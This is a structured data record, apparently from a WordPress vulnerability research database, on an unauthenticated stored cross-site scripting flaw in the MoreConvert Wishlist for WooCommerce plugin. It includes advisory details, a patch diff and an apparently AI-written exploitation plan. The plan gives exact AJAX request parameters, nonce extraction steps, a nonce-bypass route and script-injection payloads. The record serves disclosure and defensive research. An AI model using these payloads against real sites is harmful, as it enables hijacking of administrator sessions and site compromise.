[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fSBgcAIgwOrTN3HyRaxG86pTdMmFMzIE9wNzuK2iqppo":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-57356","moreconvert-wishlist-for-woocommerce-unauthenticated-stored-cross-site-scripting","MoreConvert Wishlist for WooCommerce \u003C= 1.9.19 - Unauthenticated Stored Cross-Site Scripting","The MoreConvert Wishlist for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.9.19 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","smart-wishlist-for-more-convert",null,"\u003C=1.9.19","1.9.20","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-01 00:00:00","2026-07-07 20:00:16",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd4bee7f0-ccbf-44b6-b853-f726d44fb83e?source=api-prod",7,[22,23,24,25,26,27,28,29],"assets\u002Ffrontend\u002Fjs\u002Fmain-premium.js","assets\u002Ffrontend\u002Fjs\u002Fmain-premium.min.js","assets\u002Ffrontend\u002Fjs\u002Fmain.js","assets\u002Ffrontend\u002Fjs\u002Fmain.min.js","includes\u002Fclass-wlfmc-admin.php","includes\u002Fclass-wlfmc-ajax-handler.php","includes\u002Fclass-wlfmc-shortcode.php","includes\u002Fclass-wlfmc.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-57356\n\n## 1. Vulnerability Summary\nThe **MoreConvert Wishlist for WooCommerce** plugin (versions \u003C= 1.9.19) contains an unauthenticated stored cross-site scripting vulnerability. The issue exists in the handling of wishlist item additions, specifically where user-supplied variation attributes or metadata are stored without sufficient sanitization. When these items are subsequently rendered in the wishlist table (on the frontend) or within the admin dashboard (e.g., analytics or wishlist management views), the injected scripts execute in the context of the viewing user.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `wp-admin\u002Fadmin-ajax.php` (or any frontend page via the `wp_loaded` hook).\n- **AJAX Action:** `wlfmc_add_to_wishlist` (authenticated and unauthenticated).\n- **Vulnerable Parameter:** `variation` (array) or custom metadata parameters sent during the \"add to wishlist\" process.\n- **Authentication:** None required (unauthenticated).\n- **Preconditions:** At least one WooCommerce product must exist and be publishable.\n\n## 3. Code Flow\n1. **Entry Point:** The request hits `admin-ajax.php` with `action=wlfmc_add_to_wishlist` OR a `POST` request is sent to any page with `action=wlfmc_wp_loaded_add_to_wishlist` (handled by `WLFMC_Ajax_Handler::wp_loaded_action`).\n2. **Processing:** `WLFMC_Ajax_Handler::add_to_wishlist()` (in `includes\u002Fclass-wlfmc-ajax-handler.php`) is called.\n3. **Sink (Storage):** The function extracts product data and variations from `$_POST`. It saves these to the database (likely the `wp_wlfmc_wishlist_items` table) using raw values from the `variation` array without applying `sanitize_text_field()` or `wp_kses()`.\n4. **Sink (Rendering):** When a user or administrator views the wishlist (via the `[wlfmc_wishlist]` shortcode or the admin panel), the plugin retrieves the stored variation data and echoes it into the HTML table. Because `esc_html()` or `esc_attr()` is missing during this output phase, the script executes.\n\n## 4. Nonce Acquisition Strategy\nThe plugin uses `wp_localize_script` to pass configuration and nonces to the frontend. The scripts are enqueued on pages containing wishlist shortcodes.\n\n1. **Shortcode:** Identify the \"Add to Wishlist\" or \"Wishlist\" shortcode. The primary shortcode is `[wlfmc_wishlist]`.\n2. **Page Creation:** Use WP-CLI to create a public page containing this shortcode to ensure the script is enqueued.\n3. **Variable Identification:** The localization object is named `wlfmc_l10n`.\n4. **Extraction:**\n   - Use `browser_navigate` to visit the created page.\n   - Use `browser_eval` to extract the nonce: `window.wlfmc_l10n?.nonce` or check the `data-nonce` attribute on the wishlist table: `jQuery('#wlfmc-wishlist-form table.wlfmc-wishlist-table').data('nonce')`.\n   - Based on `class-wlfmc-ajax-handler.php`, the nonce action is likely `-1` (default) or `wlfmc_add_to_wishlist`.\n\n## 5. Exploitation Strategy\n### Step 1: Data Setup\nCreate a product and a page to facilitate nonce extraction.\n```bash\n# Create a simple product\nwp wc product create --name=\"Exploit Product\" --type=simple --regular_price=10 --status=publish\n\n# Create a page with the wishlist shortcode to expose the nonce\nwp post create --post_type=page --post_title=\"My Wishlist\" --post_status=publish --post_content=\"[wlfmc_wishlist]\"\n```\n\n### Step 2: Nonce Extraction\nNavigate to the wishlist page and extract the nonce.\n- **URL:** `\u002Fmy-wishlist\u002F`\n- **JS Command:** `window.wlfmc_l10n.nonce` (or check the HTML source for `data-nonce`).\n\n### Step 3: Payload Delivery\nSend a malicious AJAX request to store the XSS payload.\n- **Method:** POST\n- **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Parameters:**\n    - `action`: `wlfmc_add_to_wishlist`\n    - `product_id`: `\u003CID_FROM_STEP_1>`\n    - `variation[pa_color]`: `\u003Cimg src=x onerror=alert(document.domain)>`\n    - `nonce`: `\u003CEXTRACTED_NONCE>`\n\n### Step 4: Execution\nThe script will trigger when:\n1. The attacker (or any user) visits the `\u002Fmy-wishlist\u002F` page.\n2. An administrator views the \"Wishlists\" or \"Analytics\" section in the WordPress dashboard.\n\n## 6. Test Data Setup\n- **Product ID:** Required (e.g., `10`).\n- **Shortcode Page:** `\u002Fwishlist-test\u002F` containing `[wlfmc_wishlist]`.\n- **Target User:** Unauthenticated for injection; Admin for impact verification.\n\n## 7. Expected Results\n- The AJAX response should return `{\"success\":true,...}`.\n- Upon visiting the wishlist page, an alert box showing the document domain should appear.\n- In the database, the `variation` column for the new item in `wp_wlfmc_wishlist_items` should contain the literal `\u003Cimg src=x...>` string.\n\n## 8. Verification Steps\nVerify the payload is stored in the database:\n```bash\nwp db query \"SELECT variation FROM wp_wlfmc_wishlist_items WHERE variation LIKE '%onerror%';\"\n```\nVerify the output is unescaped in the frontend:\n```bash\n# Use http_request to fetch the wishlist page and grep for the raw payload\nhttp_request get \"http:\u002F\u002F\u003Ctarget>\u002Fmy-wishlist\u002F\" | grep \"onerror=alert\"\n```\n\n## 9. Alternative Approaches\n### The `wp_loaded` Bypass\nIf `admin-ajax.php` enforces strict nonce checks that cannot be satisfied, use the `wp_loaded` entry point:\n- **Method:** POST\n- **URL:** `http:\u002F\u002F\u003Ctarget>\u002F` (Homepage)\n- **Parameters:**\n    - `action`: `wlfmc_wp_loaded_add_to_wishlist`\n    - `product_id`: `\u003CID>`\n    - `variation[anything]`: `\u003Cscript>alert(1)\u003C\u002Fscript>`\nThis bypasses the standard WordPress AJAX routing and might skip certain nonce checks depending on the plugin's internal logic in `wp_loaded_action`.\n\n### Parameter Fuzzing\nIf `variation` is sanitized, attempt injection via:\n- `wishlist_token`\n- `quantity` (if not cast to int)\n- `add_to_wishlist` (if the product name is reflected in the success message\u002Ffragment)","The MoreConvert Wishlist for WooCommerce plugin is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) because it fails to sanitize and escape product variation data when adding items to a wishlist. An attacker can inject malicious scripts into product metadata, which then execute when a user or administrator views the wishlist on the frontend or within the admin dashboard.","\u002F* includes\u002Fclass-wlfmc-ajax-handler.php registration of unauthenticated action *\u002F\n\u002F\u002F line 35\nadd_action( 'wp_ajax_wlfmc_add_to_wishlist', array( 'WLFMC_Ajax_Handler', 'add_to_wishlist' ) );\nadd_action( 'wp_ajax_nopriv_wlfmc_add_to_wishlist', array( 'WLFMC_Ajax_Handler', 'add_to_wishlist' ) );\n\n---\n\n\u002F* assets\u002Ffrontend\u002Fjs\u002Fmain.js (approx line 1115) - JS sending data without a nonce *\u002F\nvar params = {\n    action: wlfmc_l10n.actions.add_to_wishlist_action,\n    context: 'frontend',\n    add_to_wishlist: product_id,\n    product_type: t.attr('data-product-type')\n};","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsmart-wishlist-for-more-convert\u002F1.9.19\u002Fassets\u002Ffrontend\u002Fjs\u002Fmain.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsmart-wishlist-for-more-convert\u002F1.9.20\u002Fassets\u002Ffrontend\u002Fjs\u002Fmain.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsmart-wishlist-for-more-convert\u002F1.9.19\u002Fassets\u002Ffrontend\u002Fjs\u002Fmain.js\t2026-05-13 12:10:08.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsmart-wishlist-for-more-convert\u002F1.9.20\u002Fassets\u002Ffrontend\u002Fjs\u002Fmain.js\t2026-06-22 10:54:02.000000000 +0000\n@@ -1117,7 +1117,8 @@\n             action: wlfmc_l10n.actions.add_to_wishlist_action,\n             context: 'frontend',\n             add_to_wishlist: product_id,\n-            product_type: t.attr('data-product-type')\n+            product_type: t.attr('data-product-type'),\n+            nonce: t.data('nonce')\n             \u002F\u002F wishlist_id: t.attr( 'data-wishlist-id' ),\n             \u002F\u002F fragments: retrieve_fragments( product_id )\n           };","1. Identify a valid WooCommerce product ID on the target site.\n2. Craft a POST request to the WordPress AJAX endpoint (`\u002Fwp-admin\u002Fadmin-ajax.php`) using the `wlfmc_add_to_wishlist` action.\n3. In the request parameters, include the `variation` array populated with a malicious XSS payload (e.g., `variation[pa_size]=\u003Cimg src=x onerror=alert(1)>`).\n4. If the plugin's 'wp_loaded' AJAX mode is enabled, an alternative vector involves sending the same parameters to the homepage with the action `wlfmc_wp_loaded_add_to_wishlist`.\n5. The payload will be stored in the database. When an administrator views the wishlist management or analytics pages, or when a user views the wishlist via the `[wlfmc_wishlist]` shortcode, the script will execute.","gemini-3-flash-preview","2026-07-25 11:47:28","2026-07-25 11:48:57",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.9.19","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsmart-wishlist-for-more-convert\u002Ftags\u002F1.9.19","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsmart-wishlist-for-more-convert.1.9.19.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsmart-wishlist-for-more-convert\u002Ftags\u002F1.9.20","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsmart-wishlist-for-more-convert.1.9.20.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsmart-wishlist-for-more-convert\u002Ftags"]